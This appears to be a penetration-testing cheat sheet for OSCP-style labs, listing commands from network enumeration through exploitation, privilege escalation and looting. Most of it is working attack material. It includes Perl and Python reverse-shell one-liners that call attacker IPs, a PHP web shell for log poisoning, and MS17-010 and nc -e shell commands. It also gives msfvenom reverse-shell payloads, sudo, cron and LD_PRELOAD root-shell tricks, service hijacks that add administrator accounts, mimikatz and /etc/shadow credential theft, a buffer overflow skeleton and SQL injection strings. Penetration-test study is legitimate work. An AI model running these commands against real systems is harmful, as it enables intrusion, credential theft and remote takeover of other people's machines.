Enumeration

Nmap Scans

Step 1	Run reconnoitre (https://github.com/codingo/Reconnoitre) python ./reconnoitre.py -t 192.168.1.5 -o /root/Documents/labs/ --services
Step 2	Run nmap-tcp-quick.sh nmap-tcp-full.sh nmap-udp-quick.sh against $ip (https://gist.github.com/audrummer15/7c8c3dc54d5c21d588a7b1ba1b4ef66d)

Passwords

Default passwords	Search for default passwords FOR ANY SOFTWARE WITH A LOGIN
Software (e.g. Oracle):	grep -i <SOFTWARE> /usr/share/SecLists-master/Passwords/Default-Credentials/default-passwords.csv
Usernames	grep -i oracle /usr/share/SecLists-master/Passwords/Default-Credentials/default-passwords.csv | cut -d "," -f 2 >> users.txt
Passwords	grep -i oracle /usr/share/SecLists-master/Passwords/Default-Credentials/default-passwords.csv | cut -d "," -f 3 >> pass.txt
Try them	Try the usernames and passwords in users.txt / pass.txt

Port specific scans

Try this list first	https://hausec.com/pentesting-cheatsheet/#_Toc475368980

Port 80 - HTTP/HTTPS

Browse to the URL like a user	Firefox

View source	Look for HTML comments & hidden elements
Fuzz URLs with gobuster	gobuster -s “200,204,301,302,307,403,500” -w /usr/share/seclists/Discovery/Web_Content/common.txt -u $ip >> gobuster.$ip
More fuzzing with gobuster based on output from first command (e.g IIS specific, cgi-bin, etc?)	gobuster -s “200,204,301,302,307,403,500” -u $ip -w [LIST] /usr/share/seclists/Discovery/Web-Content/iis.txt /usr/share/seclists/Discovery/Web-Content/IIS.fuzz.txt /usr/share/seclists/Discovery/Web-Content/CGIs.txt
Use parsero to check robots.txt	parsero -u $ >> parsero.$ip
Run Nikto to discover low hanging vulns	nikto -host $ip >> nikto.$ip
Run Kadimus to discover any PHP LFI vulnerabilities	kadimus -u https://$ip/section.php?page=
Run Nikto against vhosts again	nikto -host $ip -vhost [VHOST] >> nikto.[VHOST]$ip
CMS?	Droopescan droopescan scan drupal -u http://$ip/ -t 8
CMS?	CMSmap cmsmap.py -t https://example.com
CMS?	Searchsploit + google for exploits for CMS version / plugins / themes / etc
Inspect headers with curl	curl -i $ip
Webdav enabled?	nmap --script http-iis-webdav-scan -p80 $ip nmap --script http-iis-webdav-vuln -p80 $ip davtest -url http://$ip cadaver http://$ip/[davpath]
PHP website?	Try viewing PHP source using PHP wrapper : curl -s http://$ip/?page=php://filter/convert.base64-encode/resource=index \| grep -e '[^\ ]\{40,\}' \| base64 -d curl -s http://$ip/?page=php://filter/convert.base64-encode/resource=upload |

	grep -e '[^\ ]\{40,\}' | base64 -d curl -s http://$ip/?page=php://filter/convert.base64-encode/resource=login | grep -e '[^\ ]\{40,\}' | base64 -d
Use cewl to scrape	$ cewl www.site.com -m 3 -w words.txt #min 3 characters Then run gobuster with that wordfile
Other things to look at	Look at HTTP response headers Google error messages, cookie names, version headers, password hashes
Hydra bruteforce	hydra $ip http-form-post "/TARGETPATH/TARGETPAGE.php:user=^USER^&pass=^PASS^:Bad login" -L users.txt -P pass.txt ● 1st field (before the 1st colon) = location of the target page ● 2nd field (before the 2nd colon) = user & password parameters ● 3rd field (after the 2nd colon) = page response on incorrect login attempt
Hydra bruteforce WP username (to find a valid username. Uses a bogus password of wedontcare)	$ hydra -vV -L usernames.txt -p wedontcare 192.168.2.4 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:Invalid username'
Hydra bruteforce WP password (using username “elliot”)	hydra -vV -l elliot -P passwords.txt 192.168.2.4 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect'
Does php.ini include these? (If yes, you can LFI or maybe even RFI)	php.ini values: register_globals allow_url allow_url_fopen allow_url_include
Test for LFI 1	gobuster -w SecLists-5c9217fe8e930c41d128aacdc68cbce7ece96e4f/Fuzzing/LFI-JHADDIX.txt -u http://testphp.vulnweb.com/artists.php?artist=
Test for LFI 2	If you can include local files, look for these files:

	/etc/passwd /var/log/mail/USER /var/log/apache2/access.log /proc/self/environ /var/log/auth.log
Test for LFI 3	Run through these 2 links: https://xapax.gitbooks.io/security/content/local_file_inclusion.html https://highon.coffee/blog/lfi-cheat-sheet/
Log file contamination (if you can LFI the log file)	1. nv -nv $ip 80 <?php echo shell_exec($_GET['cmd']);?> 2. cmd= is introduced into the php execution and now by including the logfile you can execute any command
Config file locations for Joomla, WP, JBOSS, Mambo	https://guif.re/webtesting

Port 22 - SSH

Use nc and telnet	nc $ip 22 telnet $ip 22
Try hydra with usernames as passwords	hydra ssh://$ip -L users_with_login -e nsr #empty pass, login as pass, reverse login as pass
Try hydra with a list of usernames and a found password	hydra ssh://$ip -L <users.txt> -p <password to try>
Hydra with colon separated default creds	hydra -f -V -t 1 -C /usr/share/SecLists-5c9217fe8e930c41d128aacdc68cbce7ece96e4f/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt -s 22 192.168.1.23 ssh

Port 445/139 - SMB

Port 139 open on a linux box?	Try trans2open (source https://www.exploit-db.com/exploits/10/) # ./a.out -b 0 $ip
SMB version detection (must be v1)	root@kali:~# nmap -p445 --script smb-protocols $ip

MS17-010 patch detection (is patch missing?)	# nmap -p445 --script smb-vuln-ms17-010 $ip
Named Pipes detection (can we acccess any named pipes?)	#python checker.py $ip (https://github.com/worawit/MS17-010)
If above 3 are true, can we launch MS17-010 attack?	Option1: Modify https://github.com/worawit/MS17-010/blob/master/zzz_exploit.py to run the attack Option 2: Use MSF (e.g. windows/smb/ms17_010_psexec)
Nmap SMB scripts (get as much info from these as you can)	nmap $ip --script smb-enum-domains.nse,smb-enum-groups.nse,smb-enum-processes.nse,smb-enum-sessions.nse,smb-enum-shares.nse,smb-enum-users.nse,smb-ls.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-server-stats.nse,smb-system-info.nse,smb-vuln-conficker.nse,smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-regsvc-dos.nse
Connect and enumerate shares (get as much info from these as you can)	enum4linux -a $ip rpcclient -U "" $ip srvinfo enumdomusers getdompwinfo querydominfo netshareenum netshareenumall smbclient -L $ip smbclient //$ip/tmp smbclient \\\\$ip\\ipc$ -U john smbclient //ip/ipc -U john smbclient //$ip/admin$ -U john Log in with shell: winexe -U username //$ip "cmd.exe" --system
samrdump	python /usr/share/doc/python-impacket-doc/examples/samrdump.py 192.168.XXX.XXX

Is there a writable share?	1. smbclient '\\$ip\share' 2. put nc.exe 3. python eternalromance.py $ip "" "" "c:\\share\\nc -nv $my_ip 4445 -e cmd.exe"

Port 135 - SMB

Vulnerable to exploit/windows/dcerpc/ms03_026_dcom ?	nmap $ip --script=msrpc-enum

Port 161 - SNMP

SNMP Enumeration	snmpwalk -c public -v1 $ip snmpcheck -t $ip -c public perl snmpenum.pl $ip public windows.txt # Common community strings public private community
NMAP snmp checks	nmap -vv -sV -sU -Pn -p 161,162 --script=snmp-netstat,snmp-processes $ip
Enumerate win users via SNMP	nmap -sU -p 161 --script /usr/share/nmap/scripts/snmp-win32-users.nse $ip

Port 1560 - Oracle

Bruteforce Oracle SIDs	# nmap --script=oracle-sid-brute --script-args=/usr/share/nmap/nselib/data/oracle-sids -p 1521-1560 $ip

Try steps from here if nothing worked so far	https://hausec.com/pentesting-cheatsheet/#_Toc475368980

	https://sushant747.gitbooks.io/total-oscp-guide/list_of_common_ports.html http://hackingandsecurity.blogspot.com/2017/09/oscp-tricks.html
If still nothing, take a break and go over everything again	Read everything aloud: - file names - comments - user names - share names - services running on non-standard ports? - TFTP service running? - Look at nmap UDP scan.

Exploitation

Windows:

Exploit used	
Source	
Modifications required	
Steps to obtain low level shell	

Low privilege shell obtained

Linux:

Exploit used	
Source	
Modifications required	
Steps to obtain	

low level shell	
Try to upgrade your shell	**We have a shell on our target now. Let's improve our TTY:** python -c 'import pty; pty.spawn("/bin/bash")' **Now we have a pretty good shell. We can improve it a little more:** (keyboard) Ctrl+Z stty raw -echo fg reset

Low privilege shell obtained

Privilege Escalation

LINUX

Is kernel vulnerable?	1. Uname -a 2. linux-exploit-suggester-2.pl -k <KERNEL_VERSION>
Suid misconfiguration	Binary with suid permission can be run by anyone, but when they are run they are run as root! Example programs: nmap vim nano find / -perm -u=s -type f 2>/dev/null find / -perm -4000 -type f 2>/dev/null Nmap example Nmap: $ nmap --interactive nmap> !sh
Grep for keywords in all files	1. cat ~/.bash_history 1. cd ~ 2. grep -Eir "password|secret|sudo|<username>" * | less 1. cd /etc 2. grep -Eir "password|secret|sudo|<username>" * | less

	1. cd /home 2. grep -Eir "password|secret|sudo|<username>" * | less 1. cd /var/www 2. grep -Eir "password|secret|sudo|<username>" * | less 3. find . -type f | xargs grep <SEARCHTERM>

Sudo shell escapes	1. sudo -l
	2. notice the list of programs that can run via sudo
	3. If any of these show up, you're golden:
	    1. find
	    2. awk
	    3. nmap
	    4. vim
	4. If the above show up, use one of these:
	    1. sudo find /bin -name nano -exec /bin/sh \;
	    2. sudo awk 'BEGIN {system("/bin/sh")}'
	    3. echo "os.execute('/bin/sh')" > shell.nse && sudo nmap --script=shell.nse
	    4. sudo vim -c '!sh'

Sudo abusing intended functionality	1. sudo -l
	2. notice the list of programs that can run via sudo
	3. Try to abuse functionality e.g.:
	    a. use /etc/shadow as config file
	    b. Escape to shell if it's a custom program
	    c. etc

Sudo LD_PRELOAD	1. sudo -l
	2. If output contains similar to this, use this method:
	Matching Defaults entries for user on this host:
	env_reset, env_keep+=LD_PRELOAD
	
	3. Write this into evil.c :
	#include <stdio.h>
	#include <sys/types.h>
	#include <stdlib.h>
	
	void _init() {
	unsetenv("LD_PRELOAD");
	setgid(0);
	setuid(0);
	system("/bin/bash");

	} 4. Compile it: gcc -fPIC -shared -o evil.so evil.c -nostartfiles 5. Run sudo on a command you have access to: 6. sudo LD_PRELOAD=evil.so <COMMAND> E.g sudo LD_PRELOAD=evil.so apache2
NFS method	1. cat /etc/exports 2. If “no_root_squash” option is defined for the “/tmp” export (or another export), use this method Exploitation Kali VM 1. Open command prompt and type: showmount -e [Linux VM IP Address] 2. In command prompt type: mkdir /tmp/1 3. In command prompt type: **mount -o rw,vers=2 [Linux VM IP Address]:/tmp /tmp/1** In command prompt type: **echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/1/x.c** 4. In command prompt type: **gcc /tmp/1/x.c -o /tmp/1/x** 5. In command prompt type: **chmod +s /tmp/1/x** Linux VM 1. In command prompt type: **/tmp/x** 2. In command prompt type: **id**
Cron (path) Use this if /etc/crontab has a PATH you have write to	Linux VM 1. In command prompt type: cat /etc/crontab 2. From the output, notice the value of the “PATH” variable Exploitation Linux VM 1. In command prompt type: **echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh** 2. In command prompt type: **chmod +x /home/user/overwrite.sh** 3. Wait 1 minute for the Bash script to execute.

	4. In command prompt type: **/tmp/bash -p** 5. In command prompt type: **id**
Cron (Tar wildcard) Use this if /etc/crontab has a tar command (or other command that has a wildcard)	Linux VM 1. In command prompt type: **cat /etc/crontab** 2. From the output, notice the script "/usr/local/bin/compress.sh" 3. In command prompt type: **cat /usr/local/bin/compress.sh** 4. From the output, notice the wildcard (*) used by 'tar'. Add checkpoint variables to tar: **1. echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/runme.sh** **2. touch /home/user/--checkpoint=1** **3. touch /home/user/--checkpoint-action=exec=sh\ runme.sh** 4. Wait for script to execute 5. **/tmp/bash -p** **6. id**
Cron (file overwrite) Use this if /etc/crontab has a file that you have write permission to	**1. echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /usr/local/bin/overwrite.sh** 2. Wait for script to execute 3. **/tmp/bash -p** **4. id**
Vulnerable exim?	Do we have any vulnerable software installed? 1. dpkg -l | grep -i exim (is version is below 4.86.2 ?) 2. Is exim compiled with perl support? exim -bV -v | grep -i perl 3. Does exim.conf contain "perl sartup" option? 4. Use cve-2016-1531.sh
More manual enumeration:	uname -a env id cat /proc/version cat /etc/issue cat /etc/passwd cat /etc/group cat /etc/shadow

	cat /etc/hosts grep -vE "nologin" /etc/passwd
Look for installed software that might be running a vulnerable version	# Debian dpkg -l # CentOS, OpenSuse, Fedora, RHEL rpm -qa (CentOS / openSUSE) # OpenBSD, FreeBSD pkg_info
Inside service not exposed to outside	# Linux netstat -anlp netstat -ano
SSH Keys	Check all home directories .ssh folders
Run privesc check scripts	python linprivchecker.py extended ./LinEnum.sh -t -k password unix-privesc-check

WINDOWS

Services running as system	tasklist /FI "username eq SYSTEM"
Windows 2008 and above? Check GPP (Group policy	\\REMOTE_HOST\SYSVOL\REMOTE_HOST\Policies\{POLICY_ID}\Machine\Preferences\ The following configuration files may be present: • Services\Services.xml • ScheduledTasks\ScheduledTasks.xml • Printers\Printers.xml • Drives\Drives.xml • DataSources\DataSources.xml

preferences)	Check instructions at https://memorycorruption.org/windows/2018/07/29/Notes-On-Windows-Privilege-Escalation.html
Win7/8/2008/ 10/2012 ?	Check if hot potato can be used Potato.exe -ip 127.0.0.1 -cmd "net user tater Winter2016 /add && net localgroup administrators tater /add" -disable_exhaust true
Trusted Service Paths	1- List all unquoted service paths: wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """ 2- Check folder permissions on results. Look for M (modify) or W (write) for current user: icacls "C:\Program Files (x86)\Privacyware"
Vulnerable Services	1- Use accesschk.exe to determine which service bin paths can be modified by user accesschk.exe -uwcqv "Authenticated Users" * /accepteula 2- View configuration properties of the service sc qc <SERVICE_NAME> Look for a service with SERVICE_ALL_ACCESS 3- Modify service bin path and restart service: sc config <SERVICE_NAME> binpath= "net user rottenadmin P@ssword123! /add" sc stop <SERVICE_NAME> sc start <SERVICE_NAME> sc config <SERVICE_NAME> binpath= "net localgroup Administrators rottenadmin /add" sc stop <SERVICE_NAME> sc start <SERVICE_NAME>
AlwaysInstall	1- Check registry entries are enabled for this feature:

Elevated	reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated Both entries have to be set to “1” 2- Use MSFvenom to generate a malicious MSI: msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi 3- Use msiexec to run the installation: msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\rotten.msi
Unattended Install	1- Look for unattended install files, could contain admin credentials. Look for these files: Unattend.xml sysprep.xml sysprep.inf In these locations: C:\Windows\Panther\ C:\Windows\Panther\Unattend\ C:\Windows\System32\ C:\Windows\System32\sysprep\

Manually	// What system are we connected to?
	systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
	
	// Get the hostname and username (if available)
	hostname
	echo %username%
	
	// Get users
	net users
	net user [username]
	
	// Networking stuff
	ipconfig /all
	
	// Printer?
	route print
	
	// ARP-arific
	arp -A

```
// Active network connections
netstat -ano

// Firewall fun (Win XP SP2+ only)
netsh firewall show state
netsh firewall show config

// Scheduled tasks
schtasks /query /fo LIST /v

// Running processes to started services
tasklist /SVC
net start

// Driver madness
DRIVERQUERY

// WMIC fun (Win 7/8 -- XP requires admin)
wmic /?
# Use wmic_info script!

// WMIC: check patch level
wmic qfe get Caption,Description,HotFixID,InstalledOn

// Search pathces for given patch
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB.." /C:"KB.."

// AlwaysInstallElevated fun
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

// Other commands to run to hopefully get what we need
dir /s *pass* == *cred* == *vnc* == *.config*
findstr /si password *.xml *.ini *.txt
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

// Service permissions
sc query
sc qc [service_name]

// Accesschk stuff
accesschk.exe /accepteula (always do this first!!!!!)
accesschk.exe -ucqv [service_name] (requires sysinternals accesschk!)
accesschk.exe -uwcqv "Authenticated Users" * (won't yield anything on Win 8)
accesschk.exe -ucqv [service_name]
```

	// Find all weak folder permissions per drive.
	accesschk.exe -uwdqs Users c:\
	accesschk.exe -uwdqs "Authenticated Users" c:\
	
	// Find all weak file permissions per drive.
	accesschk.exe -uwqs Users c:*.*
	accesschk.exe -uwqs "Authenticated Users" c:*.*
	
	//Find services with unquoted service paths:
	wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
	// Binary planting
	sc config [service_name] binpath= "C:\nc.exe -nv [RHOST] [RPORT] -e C:\WINDOWS\System32\cmd.exe"
	sc config [service_name] obj= ".\LocalSystem" password= ""
	sc qc [service_name] (to verify!)
	net start [service_name]

Great lists of manual steps	https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html http://hackingandsecurity.blogspot.com/2017/09/oscp-windows-priviledge-escalation.html https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/
If you still haven't found a privesc path, run enumeration scripts	#this enumerates through WMIC, outputs to HTML file /pentest_scripts/post_win/enum_wmic.bat #enumerate using PS. e.g .\WinEnum.ps1 -OutputFileName Jaws-Enum.txt /pentest_scripts/post_win/WinEnum.ps1 #Enumerate using a batch script. Make sure accesschk.exe is on the victim machine /pentest_scripts/post_win/all_info.bat /pentest_scripts/post_win/all_info_loot.bat #queries services, check for executables with rw perm for everyone /pentest_scripts/post_win/icacls.bat #pentestmonkey privesc checker /pentest_scripts/windows-privesc-check2.exe https://github.com/jivoi/pentest < great resource

LAST RESORT: Exploit Suggester (see compiled exploits below	/pentest_scripts/post_win/windows-exploit-suggester.py #./windows-exploit-suggester.py --update first, then feed it systeminfo output
List of compiled Windows exploits	http://www.bhafsec.com/wiki/index.php/Windows_Privilege_Escalation https://github.com/AusJock/Privilege-Escalation/tree/master/Windows https://github.com/abatchy17/WindowsExploits

Privilege Escalation Documentation

Exploit used	
Source	
Modifications required	
Steps to obtain admin or root level shell	

Loot:

Proof	/root/proof.txt
Network secret	/root/network-secret.txt

Passwords and hashes	cat /etc/passwd cat /etc/shadow unshadow passwd shadow > unshadowed.txt john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
Windows passwords	/usr/share/windows-binaries/fgdump/fgdump.exe # run fgdump.exe first, then “type file.pwdump” /usr/share/wce/wce32.exe or wce64.exe #run wce32.exe -w
Dual-homed	ifconfig ifconfig -a arp -a
Tcpdump	tcpdump -i any -s0 -w capture.pcap tcpdump -i eth0 -w capture -n -U -s 0 src not 192.168.1.X and dst not 192.168.1.X tcpdump -vv -i eth0 src not 192.168.1.X and dst not 192.168.1.X
Interesting files	#Meterpreter search -f *.txt search -f *.zip search -f *.doc search -f *.xls search -f config* search -f *.rar search -f *.docx search -f *.sql .ssh: .bash_history
Other	Databases SSH-Keys Browser Mail: /var/mail /var/spool/mail

GUI	If there is a gui we want to check out the browser. echo $DESKTOP_SESSION echo $XDG_CURRENT_DESKTOP echo $GDMSESSION

Common commands

Perl reverse shell one liner URL	perl%20-MIO%20-e%20%27$p=fork;exit,if%28$p%29;$c=new%20IO::Socket::INET%28PeerAddr,%22192.168.180.132:443%22%29;STDIN-%3Efdopen%28$c,r%29;$~-%3Efdopen%28$c,w%29;system$_%20while%3C%3E;%27
Perl reverse .pl	use IO::Socket::INET; $p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.1.21:4449");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;
mimikatz	Upload to target and run mimikatz.exe mimikatz # sekurlsa::logonpasswords
FTP one-liner	ftp -4 -d -v ftp://offsec:offsec@$my_kali_box//sh.php
PHP bind shell :	- <?php echo shell_exec($_GET['cmd'].' 2>&1'); ?> - send simple_shell.php - curl -s --data "cmd=id" http://$ip/
Python 1-liner reverse shell	python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.15.153",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Windows create user + admin	Net user bob iloveburgers /add Net localgroup administrators bob /add
SSH local port forwarding	ssh <gateway> -L <local listen port> : <remote host> : <remote port> E.g ssh w.x.y.z - p53 -L 8080:a.b.c.d:80 #ssh to w.x.y.z on port 53, and forward local port 8080 to a.b.c.d:80

SSH remote port forwarding	ssh <gateway> -R <remote port to bind> : <local host> : <local port> E.g ssh a.b.c.d -p53 -R 3390:127.0.0.1:3389 #from victim machine, ssh to attacker on port 53, and forward port 3390 from attack machine to local port 3389 on victim. Then, attacker can rdp 127.0.0.1 3390.
SSH dynamic port forwarding	ssh -f -N -D <local proxy port> -p <remote port> <target> E.g ssh a.b.c.d -D 9050 a.b.c.d #ssh to a.b.c.d and use local port 9050 as the SOCKS proxy port. Have your /etc/proxychains.conf configured with port 9050, and use proxychains to browse
Proxychains (SOCKS proxy)	- Vim /etc/proxychains.conf #add port 9050 - ssh -D 9050 user@remote - proxychains nmap etc etc
File upload limitation bypass	Double Extension technique: img1.php.png Content Type technique: Content-Type: image/png Null Byte injection technique: img3.phpD.jpg Blacklisting Extension technique: img4.php3 (source: http://www.hackingarticles.in/5-ways-file-upload-vulnerability-exploitation/)
John the ripper	john --wordlist=/usr/share/wordlists/nmap.lst hash.txt Where: hash.txt contains the single hashed password

MSFVENOM:

List of all msfvenom payloads	https://superuser-ltd.github.io/2017/msfvenom-payloads/
javascript, little endian, no encoding	`msfvenom -p windows/shell_reverse_tcp LHOST=(IP Address) LPORT=443 -f js_le -e generic/none`
C format,	`msfvenom -p windows/shell_reverse_tcp LHOST=(IP Address) LPORT=444 EXITFUNC=thread -f c`

shikata_ga_nai	`-e x86/shikata_ga_nai -b "\x00\x0a\x0d"`
EXE format	`msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe`
Linux binary	`msfvenom -p linux/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=4445 -f elf`
PHP script reverse shell	`msfvenom -p php/reverse_php LHOST=(IP Address) LPORT=4445 -f raw > shell.php`

Perl	`msfvenom -p cmd/windows/reverse_perl LHOST=(IP Address) LPORT=4444 -o shell.pl`
	
	`msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl`

Python	`msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py`
	
	`msfvenom -p python/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py`

MSI	`msfvenom -f msi -p windows/shell_reverse_tcp LHOST=(IP Address) LPORT=4444 > shell.msi`
DLL	`msfvenom -f dll -p windows/shell_reverse_tcp LHOST=(IP Address) LPORT=4444 > shell.dll`
ASP	`msfvenom -p windows/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp`
JSP	`msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp`
WAR	`msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war`

Buffer Overflows:

Poc1: create a pattern and find the offset for EIP:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <# of bytes>
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q <address of EIP>

Poc2: verify offset:

buffer = "A" * 1040 + "B" * 4 + "C" * 90

Poc3: Find bad characters

Poc4: Remove badchars and send Poc again, to confirm it works

Immunity: Find an address that has JMP ESP:

a) !mona modules
b) Find a module that has FALSE for all columns
c) !mona find -s "\xff\xe4" -m <module.DLL> #vulnserver.exe
d) pick an address with no bad chars
e) View that address contents, should be JMP ESP.
f) Once confirmed, this address will be your EIP value

Poc5: final exploit:

msfvenom -p windows/shell_reverse_tcp LHOST=10.1.2.3 LPORT=444 EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d"

buf = (“....")

#JMP ESP address is #65D11D71

jmpesp = "\x71\x1d\xd1\x65"

#NOP Sled

nops = "\x90"*8

req1 = "AUTH " + "\x41"*1040 + jmpesp + nops + buf

SQL Injection

http://www.hackingarticles.in/manual-sql-injection-exploitation-step-step/

https://www.exploit-db.com/papers/12975/

http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet

http://testphp.vulnweb.com/artists.php?artist=1’ #also try double quote ("") or a semicolon (;)
http://testphp.vulnweb.com/artists.php?artist=1 order by 1 #2,3,4,5…..
http://testphp.vulnweb.com/artists.php?artist=1 union select 1,2,3
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,database(),3
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,version(),current_user()

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(uname),3 from users
http://www.example.com/news.asp?id=2' or '1'='1 +----------+ | ' or 1=1 -- | | a' or 1=1 -- | | " or 1=1 -- | | a" or 1=1 -- | | ' or 1=1 # | | " or 1=1 # | | or 1=1 -- | | ' or 'x'='x | | " or "x"="x | | ') or ('x'='x | | ") or ("x"="x | +----------+ | ' or username LIKE '%admin% | +----------+ | USERNAME: ' or 1/* | | PASSWORD: */ =1 -- | +----------+ | USERNAME: admin' or 'a'='a | | PASSWORD: '# | +----------+

SQLMAP	sqlmap -r login.txt --batch --level 5 --risk 3 --string "Wrong identification" --dbs sqlmap -r login.txt --batch --level 5 --risk 3 --string "Wrong identification" -D falafel --tables sqlmap -r login.txt --batch --level 5 --risk 3 --string "Wrong identification" -D falafel -T users --dump

Credits:

https://github.com/codingo/Reconnoitre

https://gist.github.com/audrummer15/7c8c3dc54d5c21d588a7b1ba1b4ef66d

https://hausec.com/pentesting-cheatsheet/#_Toc475368980

https://github.com/danielmiessler/SecLists/tree/c196a6e62d0b63d6be0c84e6fa224352ea5949df

https://xapax.gitbooks.io/security/content/local_file_inclusion.html

https://highon.coffee/blog/lfi-cheat-sheet/

https://guif.re/webtesting

https://github.com/worawit/MS17-010

https://sushant747.gitbooks.io/total-oscp-guide/list_of_common_ports.html

http://hackingandsecurity.blogspot.com/2017/09/oscp-tricks.html

http://touhidshaikh.com/blog/?p=827

https://github.com/sagishahar/lpeworkshop

https://memorycorruption.org/windows/2018/07/29/Notes-On-Windows-Privilege-Escalation.html

http://www.bhafsec.com/wiki/index.php/Windows_Privilege_Escalation

https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html

http://hackingandsecurity.blogspot.com/2017/09/oscp-windows-priviledge-escalation.html

https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/

https://github.com/jivoi/pentest

https://github.com/AusJock/Privilege-Escalation/tree/master/Windows

https://github.com/abatchy17/WindowsExploits

http://www.hackingarticles.in/5-ways-file-upload-vulnerability-exploitation/

https://superuser-ltd.github.io/2017/msfvenom-payloads/

http://www.hackingarticles.in/manual-sql-injection-exploitation-step-step/

https://www.exploit-db.com/papers/12975/

http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet